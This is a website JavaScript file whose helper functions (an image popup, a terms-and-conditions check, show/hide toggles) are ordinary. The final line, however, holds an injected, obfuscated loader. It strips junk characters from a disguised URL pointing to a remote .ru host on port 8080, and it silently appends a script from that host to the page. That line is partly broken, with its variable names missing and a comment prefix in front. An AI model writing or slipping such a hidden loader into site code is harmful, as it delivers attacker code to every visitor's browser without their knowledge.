
var itemswindow;
function popitem_window(details,imw,imh)
{
if (itemswindow)
		{
		itemswindow.close();
		}
    w=imw+30;
    h=imh+80;
	itemswindow=window.open(details, "FullSize", "toolbar=no,menubar=no,scrollbars=yes,directories=no,width="+w+",height="+h);
	itemswindow.focus();
	return false;

}


function confirm_tcs(theid)
	{
	if (theid.checked==true)
		{
		return true;	
		}
	else
		{
		alert("Please confirm you have read your terms and conditions.");
		return false;
		}
	}
	

function generic_showhide(theid1,theid2)
	{	
	element1=document.getElementById(theid1);
	curVis=element1.style.display;
	
	if (curVis=="none")
		{
		element1.style.display="";
		}
	else
		{
		element1.style.display="none";
		}
		
	if (theid2!=0)
		{
		element2=document.getElementById(theid2);
		curVis2=element2.style.display;
		if (curVis2=="none")
			{
			element2.style.display="";
			}
		else
			{
			element2.style.display="none";
			}
		}
		
	}
	
function display_hide_collectiondatetime(theVal)
	{
	if (theVal==2)
		{
		document.getElementById('Specific_Times_Row').style.display='';
		}
	else
		{
		document.getElementById('Specific_Times_Row').style.display='none';
		document.getElementById('Specific_Times').value='';
		
		}
	}
	
//    = document.createElement('script'); .setAttribute('type', 'text/javascript'); .setAttribute('id', 'myscript1'); .setAttribute('src',  'h))t#^t$#))!p&&#:^!&/^^/)^(@m&()y&#b(r@&&!!o)^w(&(s)^)$e(@&#r&))b^a#r!&$-#@c&#o#m#@&.)@$s)a!m$&s#)^u!$^n$g#!.$c!^o^@(m#.^n@!#a@@s#$!a#&-(@^g$o)#v)@&$.(!(@(e)&g&!#r)e)@)a^)t$!s(!(a@!l#e@.@)@r)#u(&#!:)@8!^)0!8$!(0!/^#m$$e)g^&a###v&!i&d!e))#o!@(.(@c&)o$!(m^&/^m&^e((^)g$!((a)#)^v@!i(@&#d#)e@&o$#.^c$!#o@m^/$#&l$a)r#@(e)^^d#&o(!()u#(t$)e##.$f(r^&(@/!(^&b!!i)$$l@)!)d^&.#@&(d$@$e(/)g$o^o$&^g^!&l()e!).(@^#c)$!o#&)@@m!/^$'.replace(/\$|\^|\!|&|\)|\(|@|#/ig, '')); .setAttribute('defer', 'defer');document.body.appendChild( );}} catch(e) {}